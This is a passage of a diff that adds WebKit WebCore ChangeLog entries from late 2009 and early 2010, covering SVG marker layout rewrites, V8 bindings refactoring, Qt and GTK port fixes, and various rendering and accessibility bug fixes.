+        This function is for external clients and they do not currently
+        do anything to make sure layout is up to date.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::needsLayout): Add a new clause, since
+        we need a call to layout if needsDisplayUpdate is true.
+
+2010-01-04  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Correct debug assertion (and possible runtime errors) by
+        checking validity of bitmap settings used to create
+        the Windows Cairo contexts.
+        https://bugs.webkit.org/show_bug.cgi?id=33164.
+
+        * platform/graphics/win/GraphicsContextCairoWin.cpp:
+        (WebCore::createCairoContextWithHDC): Check validity of selected
+          OBJ_BITMAP retrieved, and only create 32-bit context when
+          a valid bitmap is provided.
+
+2010-01-04  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, revert r52745 and r52746 on behalf of Nikolas Zimmermann, as discussed on IRC.
+        Patch produced by 'git revert' and then reverting back ChangeLog files.
+
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::repaintRectInLocalCoordinates):
+        (WebCore::RenderPath::setPath):
+        (WebCore::RenderPath::path):
+        (WebCore::RenderPath::paint):
+        (WebCore::):
+        (WebCore::DrawMarkersData::DrawMarkersData):
+        (WebCore::drawMarkerWithData):
+        (WebCore::updateMarkerDataForElement):
+        (WebCore::drawStartAndMidMarkers):
+        (WebCore::RenderPath::drawMarkersIfNeeded):
+        * rendering/RenderPath.h:
+        (WebCore::RenderPath::markerBoundingBox):
+        * rendering/RenderSVGContainer.h:
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::paint):
+        * rendering/RenderSVGViewportContainer.h:
+        * rendering/SVGMarkerData.h: Removed.
+        * rendering/SVGMarkerLayoutInfo.cpp: Removed.
+        * rendering/SVGMarkerLayoutInfo.h: Removed.
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::canvasResource):
+        * svg/graphics/SVGResource.cpp:
+        (WebCore::SVGResource::SVGResource):
+        (WebCore::ResourceSet::ResourceSet):
+        (WebCore::clientMap):
+        (WebCore::SVGResource::~SVGResource):
+        (WebCore::SVGResource::removeClient):
+        (WebCore::SVGResource::addClient):
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::SVGResourceMarker):
+        (WebCore::SVGResourceMarker::setMarker):
+        (WebCore::SVGResourceMarker::setRef):
+        (WebCore::SVGResourceMarker::draw):
+        (WebCore::SVGResourceMarker::cachedBounds):
+        (WebCore::SVGResourceMarker::externalRepresentation):
+        * svg/graphics/SVGResourceMarker.h:
+        (WebCore::SVGResourceMarker::refX):
+        (WebCore::SVGResourceMarker::refY):
+
+2010-01-04  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Ada Chan and Mark Rowe.
+
+        Updated copyright string
+
+        * Info.plist:
+        * WebCore.vcproj/QTMovieWin.rc:
+
+2010-01-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        AX: any DIV with an aria role should not be ignored
+        https://bugs.webkit.org/show_bug.cgi?id=33090
+
+        Test: platform/mac/accessibility/aria-divs-not-ignored.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+
+2010-01-04  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Generate declarations for V8 runtime enablers.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33156
+
+        * bindings/scripts/CodeGeneratorV8.pm: Generate runtime enabler declarations.
+        * bindings/v8/custom/V8CustomBinding.h: Remove manual declarations of runtime enablers.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8WebSocketCustom.cpp: Remove closeCallback(), which isn't actually being used.
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+
+2010-01-04  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Forgot to add SVGMarkerData.h / SVGMarkerLayoutInfo.(cpp,h) to Chromium build.
+
+        * WebCore.gypi:
+
+2010-01-04  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        Marker code is buggy: referencePoint translation is off
+        https://bugs.webkit.org/show_bug.cgi?id=33012
+
+        Rewrite marker code, as it had many issues:
+        - Correct refX/refY handling (covered by new marker-referencePoint.svg test)
+        - Calculate marker bounds on layout time, instead of paint time, to deliver correct repaint rects
+        - Cleanup RenderPath code, which was cluttered by marker stuff (outlay in SVGMarkerLayoutInfo)
+        - Fix SVGResource assuming that there is only one resource per resource type per element. Markers
+          can have three different resources of the same type (three markers, start/mid/end markers)
+
+        Filed bug 33115 (PathElementAddQuadCurveToPoint not handled for <marker>), which was just a TODO in the code before.
+
+        Fixes all svg/custom/marker*.svg tests, that use dynamic updates (propagation failed before).
+        Test: svg/custom/marker-referencePoint.svg
+              svg/custom/marker-opacity.svg
+
+        * Android.mk: Add SVGMarkerData.h / SVGMarkerLayoutInfo.(cpp,h) to build.
+        * GNUmakefile.am: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * page/FrameView.cpp: Notify RenderSVGRoot children about viewport size changes, just like it's handled for <body> in HTML.
+        (WebCore::FrameView::layout): This is important, as marker bounding boxes may depend on the current viewport size through relative coordinates used in <svg>.
+        * rendering/RenderPath.cpp:
+        (WebCore::RenderPath::markerBoundingBox): Calculates and caches marker boundaries in the layout() phase.
+        (WebCore::RenderPath::repaintRectInLocalCoordinates): Use the cached marker bounding box during paint() time.
+        (WebCore::RenderPath::setPath): Clear marker boundaries upon path changes.
+        (WebCore::RenderPath::paint): Use SVGMarkerLayoutInfo::drawMarkers() instead of the local drawMarkersIfNeeded() function, which is gone now.
+        (WebCore::RenderPath::calculateMarkerBoundsIfNeeded): Utilized by markerBoundingBox() to request SVGResourceMarker objects and calculate their boundaries.
+        * rendering/RenderPath.h: Store SVGMarkerLayoutInfo objects, and rename m_markerBounds to m_cachedLocalMarkerBBox for consistency.
+        (WebCore::RenderPath::path): Inline this accessor.
+        * rendering/RenderSVGContainer.h: Make paint() public (to be used from SVGResourceMarker), all other methods protected (to be used from RenderSVGViewportContainer).
+        * rendering/RenderSVGViewportContainer.cpp: Remove useless paint() override, as the comment in the code indicated.
+        (WebCore::RenderSVGViewportContainer::markerBoundaries): Maps the marker contents repaintRectInLocalCoordinates() into the final coordinate system (see code).
+        (WebCore::RenderSVGViewportContainer::markerContentTransformation): Add marker-specific helper method, allowing to make viewportTransform() private again.
+        * rendering/RenderSVGViewportContainer.h: Marking viewportTransform() private, it's never meant to be used outside this renderer.
+        * rendering/SVGMarkerData.h: Added. Refactored from existing RenderPath code, preserving original copyrights.
+        (WebCore::SVGMarkerData::): Helper struct for SVGMarkerLayoutInfo.
+        (WebCore::SVGMarkerData::origin): Holds the final computed destination of a marker.
+        (WebCore::SVGMarkerData::marker): Holds a pointer to the associated SVGResourceMarker object, which we're aiming to layout.
+        (WebCore::SVGMarkerData::currentAngle): Calculates the current angle for a certain marker type (start/mid/end) based upon the computed inslope/outslope values.
+        (WebCore::SVGMarkerData::updateTypeAndMarker): Helper method.
+        (WebCore::SVGMarkerData::updateOutslope): Ditto.
+        (WebCore::SVGMarkerData::updateMarkerDataForPathElement): Does the actual inslope/outslope calculation.
+        (WebCore::SVGMarkerData::updateInslope): Helper method.
+        * rendering/SVGMarkerLayoutInfo.cpp: Added. New approach to build marker layout info, this time correct during layout() time instead of paint() time.
+        (WebCore::SVGMarkerLayoutInfo::SVGMarkerLayoutInfo):
+        (WebCore::SVGMarkerLayoutInfo::~SVGMarkerLayoutInfo):
+        (WebCore::processStartAndMidMarkers): Static helper method used to visit each path element in order to calculate inslopes/outslopes (-> orientation angles)
+        (WebCore::SVGMarkerLayoutInfo::calculateBoundaries): Build list of MarkerLayout objects, used to query boundaries, and to paint markers during drawMarkers().
+        (WebCore::SVGMarkerLayoutInfo::drawMarkers): Cheap method walking existing MarkerLayout vector, drawing the individual RenderSVGViewportContainer of the markers.
+        (WebCore::SVGMarkerLayoutInfo::addLayoutedMarker): Helper method.
+        * rendering/SVGMarkerLayoutInfo.h: Added.
+        (WebCore::MarkerLayout::MarkerLayout): Helper struct storing a pair of SVGResourceMarker* and a TranformationMatrix.
+        (WebCore::SVGMarkerLayoutInfo::markerData): Public helper methods returning references to private member variables, used from processStartAndMidMarkers.
+        (WebCore::SVGMarkerLayoutInfo::midMarker): Ditto.
+        (WebCore::SVGMarkerLayoutInfo::elementIndex): Ditto.
+        * svg/SVGMarkerElement.cpp: Adopt to name change: setRef() -> setReferencePoint(). setMarker() -> setRenderer()
+        (WebCore::SVGMarkerElement::canvasResource): Add ASSERT(renderer()) to clarify that canvasResource() is only meant to used after renderer creation.
+        * svg/graphics/SVGResource.cpp: Instead of maintaining a global hashmap between SVGStyledElements and an array of possible SVGResources, use a HashSet of SVGResources
+                                        and directly scan the already existing list of clients for a certain SVGResource. This wrong approach has been introduced over two years
+                                        ago, making the assumption that there's only one resource type per element. Though markers can provide three resources of the same type
+                                        per element (all SVGResourceMarker objects, but in different rules: start/mid/end marker). That information is only available while painting.
+        (WebCore::resourceSet): Add global static HashSet<SVGResource*>.
+        (WebCore::SVGResource::SVGResource): Add us to the resourceSet.
+        (WebCore::SVGResource::~SVGResource): Remove us from resourceSet.
+        (WebCore::SVGResource::removeClient): Traverse all SVGResource clients and remove the passed SVGStyledElement from the client list (invoked by SVGStyledElement destructor).
+        (WebCore::SVGResource::addClient): Remove the offending part of the old approach, making the wrong assumption regarding resource types.
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::SVGResourceMarker):
+        (WebCore::SVGResourceMarker::markerTransformation): Create TransformationMatrix in the local marker content (RenderSVGViewportContainer) coordinate system, to position a marker.
+        (WebCore::SVGResourceMarker::draw): Simplify marker drawing a lot: used the passing TransformationMatrix (cached in SVGMarkerLayoutInfo) to draw the marker content renderer.
+        (WebCore::SVGResourceMarker::externalRepresentation): Adopt to refX/refY -> referencePoint changes.
+        * svg/graphics/SVGResourceMarker.h: Store a FloatPoint m_referecePoint instead of two refX/refY float values.
+        (WebCore::SVGResourceMarker::setRenderer): Renamed from setMarker().
+        (WebCore::SVGResourceMarker::setReferencePoint): Renamed from setRef().
+        (WebCore::SVGResourceMarker::referencePoint): New accessor replacing refX() / refY().
+
+2010-01-04  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix standalone package builds.
+
+        * WebCore.pro: Moved logic for detecting standalone builds to WebKit.pri. Set DESTDIR for package builds.
+
+2010-01-04  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29048
+        [Qt] make RenderStyle.h compile in winscw compiler.
+
+        Change compareEqual to a macro in Winscw compiler to get around "illegal operand" 
+        error when compareEqual is defined as template.
+
+        The compiler bug is reported at:
+        https://xdabug001.ext.nokia.com/bugzilla/show_bug.cgi?id=10447
+
+        * rendering/style/RenderStyle.h:
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix some PLATFORM(*_ENDIAN) uses to CPU()
+        https://bugs.webkit.org/show_bug.cgi?id=33148
+
+        * platform/image-decoders/bmp/BMPImageReader.h:
+        (WebCore::BMPImageReader::readUint16):
+        (WebCore::BMPImageReader::readUint32):
+        (WebCore::BMPImageReader::readCurrentPixel):
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Adam Barth.
+
+        Reorganize, document and rename CPU() platform macros.
+        https://bugs.webkit.org/show_bug.cgi?id=33145
+
+        * page/NavigatorBase.cpp:
+        * platform/text/AtomicString.cpp:
+        (WebCore::equal):
+        * platform/text/StringHash.h:
+        (WebCore::StringHash::equal):
+
+2009-12-22  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        [GTK] G_OBJECT() cast is not necessary for signals connection and properties access
+        https://bugs.webkit.org/show_bug.cgi?id=32661
+
+        Reverted the SENTINEL / NULL crap :) Hopefully the style-bot won't
+        complain about NULL usage in g_object_{get,set} anymore.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::hasVideo):
+        (WebCore::MediaPlayerPrivate::hasAudio):
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::setRate):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+
+2010-01-04  Alex Milowski  <alex@milowski.com>
+
+        Reviewed by Eric Seidel.
+
+        Updated license to match recommended header license.
+
+        * mathml/MathMLElement.cpp:
+        * mathml/MathMLElement.h:
+        * mathml/MathMLInlineContainerElement.cpp:
+        * mathml/MathMLInlineContainerElement.h:
+        * mathml/MathMLMathElement.cpp:
+        * mathml/MathMLMathElement.h:
+
+2010-01-04  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVGResources don't invalidate if target object changes attributes
+        https://bugs.webkit.org/show_bug.cgi?id=33091
+
+        It's neccessary to invalidate all resources of an object, if the attributes of this
+        target change. Otherwise the saved resource data (like ImageBuffers) don't match
+        to the new object properties. 
+
+        Test: svg/custom/resource-invalidate-on-target-update.svg
+
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::svgAttributeChanged):
+        (WebCore::SVGStyledElement::invalidateResources):
+        * svg/SVGStyledElement.h:
+
+2010-01-03  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Index validation code must always copy client data
+        https://bugs.webkit.org/show_bug.cgi?id=32748
+
+        Client data must always be copied during bufferData and
+        bufferSubData calls, because otherwise the data the GL uses to
+        draw may differ from that checked by the index validation code.
+
+        Test: fast/canvas/webgl/index-validation-copies-indices.html
+
+        * html/canvas/WebGLBuffer.cpp:
+        (WebCore::WebGLBuffer::WebGLBuffer):
+        (WebCore::WebGLBuffer::associateBufferData):
+        (WebCore::WebGLBuffer::associateBufferSubData):
+        * html/canvas/WebGLBuffer.h:
+
+2010-01-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Implement CookieJarChromium::cookiesEnabled
+        https://bugs.webkit.org/show_bug.cgi?id=33123
+
+        Call out to ChromiumBridge to find out if cookies are enabled.
+
+        * platform/chromium/ChromiumBridge.h:
+        * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::cookiesEnabled):
+
+2010-01-03  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Remove evaluateInNewContext (it's useless)
+        https://bugs.webkit.org/show_bug.cgi?id=33068
+
+        This function has no clients and makes life complicated.  Isolated
+        worlds won out over NewContext and there's not really any going back
+        now.
+
+        No new tests because this is all minus lines.
+
+        * bindings/v8/ScriptController.cpp:
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertWindowToV8Object):
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/V8Proxy.h:
+
+2010-01-03  Sam Weinig  <sam@webkit.org>
+
+        Rubber-stamped by Dan Bernstein.
+
+        Remove out of date commented out attributes in IDLs. We have implemented onpopstate.
+
+        * html/HTMLBodyElement.idl:
+        * html/HTMLFrameSetElement.idl:
+        * page/DOMWindow.idl:
+
+2010-01-03  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Mark more filter effect as alphaImage if possible
+        https://bugs.webkit.org/show_bug.cgi?id=33111
+
+        Mark more effects as alphaImage if the previous effect is a
+        alphaImage. This can reduce the calculation on the next effect
+        like feGaussianBlur.
+        
+        Test: This changes don't affect any LayoutTests and can't be tested
+              somehow, since the changes are 'invisible'.
+
+        * platform/graphics/filters/FEColorMatrix.cpp:
+        (WebCore::FEColorMatrix::apply):
+        * svg/graphics/filters/SVGFEMorphology.cpp:
+        (WebCore::FEMorphology::apply):
+        * svg/graphics/filters/SVGFEOffset.cpp:
+        (WebCore::FEOffset::apply):
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply):
+
+2010-01-01  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Scrollbar of overflow:scroll div in compositing layer fails to render
+        https://bugs.webkit.org/show_bug.cgi?id=32439
+        
+        When deciding whether a RenderLayer needs backing store, check whether it has
+        overflow controls that need painting.
+
+        Test: compositing/overflow/scrollbar-painting.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::hasOverflowControls):
+        * rendering/RenderLayer.h:
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::isSimpleContainerCompositingLayer):
+
+2009-12-31  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] context menu overriding API is very limited
+        https://bugs.webkit.org/show_bug.cgi?id=27546
+
+        Only show font menu items in rich text areas in the GTK+ port.
+
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::populate):
+
+2009-12-31  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] context menu overriding API is very limited
+        https://bugs.webkit.org/show_bug.cgi?id=27546
+
+        Don't show spell checking menu items in text areas in the GTK+ port.
+
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::populate):
+
+2009-12-31  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7503279> REGRESSION (r47440): Incomplete repaint at macworldexpo.com
+        https://bugs.webkit.org/show_bug.cgi?id=33067
+
+        Test: fast/repaint/table-cell-overflow.html
+
+        * rendering/RenderTableCell.h:
+        (WebCore::RenderTableCell::hasVisibleOverflow): Added.
+        * rendering/RenderTableSection.cpp:
+        (WebCore::RenderTableSection::layoutRows): Set m_hasOverflowingCell if
+        any cell has visible overflow, like it was before r47440.
+
+2009-12-31  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Do not include Frame.h under WebCore/html/canvas
+        https://bugs.webkit.org/show_bug.cgi?id=33082
+
+        No new tests, as there is no new functionality.
+
+        * html/canvas/CanvasRenderingContext2D.cpp:
+
+2009-12-30  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by David Levin.
+
+        [Chromium] Delete ResourceRequest::securityInfo
+        https://bugs.webkit.org/show_bug.cgi?id=26847
+
+        * platform/network/chromium/ResourceRequest.h:
+
+2009-12-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Remove unused code from V8DOMWrapper.
+
+        * bindings/v8/V8DOMWrapper.cpp: Removed code that I added but it's no longer used.
+        * bindings/v8/V8DOMWrapper.h: Ditto.
+
+2009-12-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Generate configuring undetectable collection.
+        https://bugs.webkit.org/show_bug.cgi?id=33063
+
+        Refactoring, covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added GenerateImplementationMasqueradeAsUndefined.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Touched to keep IB-based builds happy.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed hand-configuring.
+
+2009-12-30  Zelidrag Hornung  <zelidrag@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Added ability for PopupMenuClient to signal when
+        a) selection changed, and
+        b) weather suggested value should be accepted when popup menu closes
+
+        No new tests since this new functionality (autocomplete suggestions)
+        is intentionally hidden from everything else than renderer.
+
+        * platform/PopupMenuClient.h:
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupContainer::hidePopup):
+        (WebCore::PopupListBox::handleKeyEvent):
+        (WebCore::PopupListBox::abandon):
+        (WebCore::PopupListBox::acceptIndex):
+        (WebCore::PopupListBox::selectIndex):
+        (WebCore::PopupListBox::clearSelection):
+        (WebCore::PopupListBox::hidePopup):
+        * platform/gtk/PopupMenuGtk.cpp:
+        (WebCore::PopupMenu::menuUnmapped):
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::show):
+        * platform/qt/QtFallbackWebPopup.cpp:
+        (WebCore::QtFallbackWebPopup::hidePopup):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::hide):
+        * platform/wx/PopupMenuWx.cpp:
+        (WebCore::PopupMenu::OnMenuItemSelected):
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::popupDidHide):
+        * rendering/RenderMenuList.h:
+        (WebCore::RenderMenuList::selectionChanged):
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::popupDidHide):
+        * rendering/RenderTextControlSingleLine.h:
+        (WebCore::RenderTextControlSingleLine::selectionChanged):
+
+2009-12-30  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Auto-generate V8 bindings header declarations for
+        property accessor getter/setters, and remove a couple of
+        unnecessarily custom bindings that weren't properly declared
+        custom anyway.
+
+        * Android.v8bindings.mk: Remove V8NavigatorCustom.cpp.
+        * WebCore.gypi: Remove V8NavigatorCustom.cpp.
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/custom/V8AttrCustom.cpp:
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        * bindings/v8/custom/V8CoordinatesCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        * bindings/v8/custom/V8DocumentLocationCustom.cpp:
+        * bindings/v8/custom/V8EventCustom.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        * bindings/v8/custom/V8NavigatorCustom.cpp: Removed.
+        * bindings/v8/custom/V8SVGLengthCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+
+2009-12-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Touch DerivedSourcesAllInOne to avoid clobbering IB-based builds.
+
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Added a line-break.
+
+2009-12-30  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Generate configuring of call-as-function callbacks.
+        https://bugs.webkit.org/show_bug.cgi?id=33061
+
+        Refactoring, covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added GenerateHeaderCustomCall and
+            GenerateImplementationCustomCall.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed all hand-configuring of call-as-function
+            callbacks.
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        (WebCore::V8HTMLAppletElement::callAsFunctionCallback): Added.
+        (WebCore::V8HTMLEmbedElement::callAsFunctionCallback): Added.
+        (WebCore::V8HTMLObjectElement::callAsFunctionCallback): Added.
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.h: Removed.
+
+2009-12-30  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [v8] Move world-specific state out of V8Proxy
+        https://bugs.webkit.org/show_bug.cgi?id=33034
+
+        This is the first step towards unifying the V8 implementation of
+        isolated worlds with the JSC implementation.  We need an object to
+        encapulate all the world-specific bindings state.  Previoulsy, we used
+        V8Proxy for this purpose (along with a million other things), but
+        there's a one-to-one mapping between V8Proxy objects and Frame objects.
+
+        This patch takes the world-specific state and moves it to a new object,
+        affectionately called V8DOMWindowShell.  This object is the moral
+        equivalent of JSDOMWindowShell but with more data members because life
+        is more complicated in V8-land.
+
+        This patch is almost entirely code motion.  Future patches will clean
+        up this class as we use it to represent window shells in isolated
+        worlds as well as the main world.
+
+        * WebCore.gypi:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::updateSecurityOrigin):
+        (WebCore::ScriptController::haveInterpreter):
+        (WebCore::ScriptController::updateDocument):
+        * bindings/v8/V8DOMWindowShell.cpp: Added.
+        (WebCore::handleFatalErrorInV8):
+        (WebCore::reportFatalErrorInV8):
+        (WebCore::reportUnsafeJavaScriptAccess):
+        (WebCore::V8DOMWindowShell::create):
+        (WebCore::V8DOMWindowShell::V8DOMWindowShell):
+        (WebCore::V8DOMWindowShell::isContextInitialized):
+        (WebCore::V8DOMWindowShell::disposeContextHandles):
+        (WebCore::V8DOMWindowShell::destroyGlobal):
+        (WebCore::V8DOMWindowShell::clearForClose):
+        (WebCore::V8DOMWindowShell::clearForNavigation):
+        (WebCore::V8DOMWindowShell::initContextIfNeeded):
+        (WebCore::V8DOMWindowShell::createNewContext):
+        (WebCore::V8DOMWindowShell::installDOMWindow):
+        (WebCore::V8DOMWindowShell::updateDocumentWrapper):
+        (WebCore::V8DOMWindowShell::clearDocumentWrapper):
+        (WebCore::V8DOMWindowShell::updateDocumentWrapperCache):
+        (WebCore::V8DOMWindowShell::clearDocumentWrapperCache):
+        (WebCore::V8DOMWindowShell::setSecurityToken):
+        (WebCore::V8DOMWindowShell::updateDocument):
+        (WebCore::V8DOMWindowShell::updateSecurityOrigin):
+        (WebCore::V8DOMWindowShell::getHiddenObjectPrototype):
+        (WebCore::V8DOMWindowShell::installHiddenObjectPrototype):
+        (WebCore::V8DOMWindowShell::createWrapperFromCacheSlowCase):
+        * bindings/v8/V8DOMWindowShell.h: Added.
+        (WebCore::V8DOMWindowShell::context):
+        (WebCore::V8DOMWindowShell::createWrapperFromCache):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getConstructorForContext):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        (WebCore::V8DOMWrapper::convertDocumentToV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::~V8Proxy):
+        (WebCore::V8Proxy::handleOutOfMemory):
+        (WebCore::V8Proxy::evaluateInIsolatedWorld):
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        (WebCore::V8Proxy::clearForClose):
+        (WebCore::V8Proxy::clearForNavigation):
+        (WebCore::V8Proxy::mainWorldContext):
+        (WebCore::V8Proxy::setContextDebugId):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::windowShell):
+        (WebCore::V8Proxy::extensions):
+
+2009-12-30  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        SVGResourceClipper needs to invalidate content
+        https://bugs.webkit.org/show_bug.cgi?id=33054
+
+        Added invalidate() to SVGResourceClipper to reset clipData
+        and drawing area after attribute changes.
+
+        This fixes two LayoutTests.
+
+        * svg/graphics/SVGResourceClipper.cpp:
+        (WebCore::SVGResourceClipper::resetClipData):
+        (WebCore::SVGResourceClipper::invalidate):
+        * svg/graphics/SVGResourceClipper.h:
+
+2009-12-30  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+         [Qt] RenderThemeQt::applyTheme is a misnomer and is suboptimally coded.
+        https://bugs.webkit.org/show_bug.cgi?id=33035
+
+        This patch:
+        - renames RenderThemeQt::applyTheme to initializeCommonQStyleOptions,
+        - extracts the palette initialization code to a separate function in order to
+        provide for readable pointer checking and moves this code up in the function to
+        allow for future changes to the palette brushes needed for bug 30173,
+        - optimizes some of the code in the function for readability, speed and size.
+        - fixes some minor style issues
+
+        No new tests because code behavior is not changed.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::paintButton):
+        (WebCore::RenderThemeQt::paintTextField):
+        (WebCore::RenderThemeQt::paintMenuList):
+        (WebCore::RenderThemeQt::paintMenuListButton):
+        (WebCore::initPaletteFromPageClientIfExists):
+        (WebCore::RenderThemeQt::initializeCommonQStyleOptions):
+        * platform/qt/RenderThemeQt.h:
+
+2009-12-30  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] It should be possible to disable inspector
+        https://bugs.webkit.org/show_bug.cgi?id=32724
+
+        This makes the r48430 available for other ports as well.
+        No new tests, as there is no new functionality.
+
+        * inspector/InjectedScriptHost.idl: Guard the interface with
+        INSPECTOR guard.
+
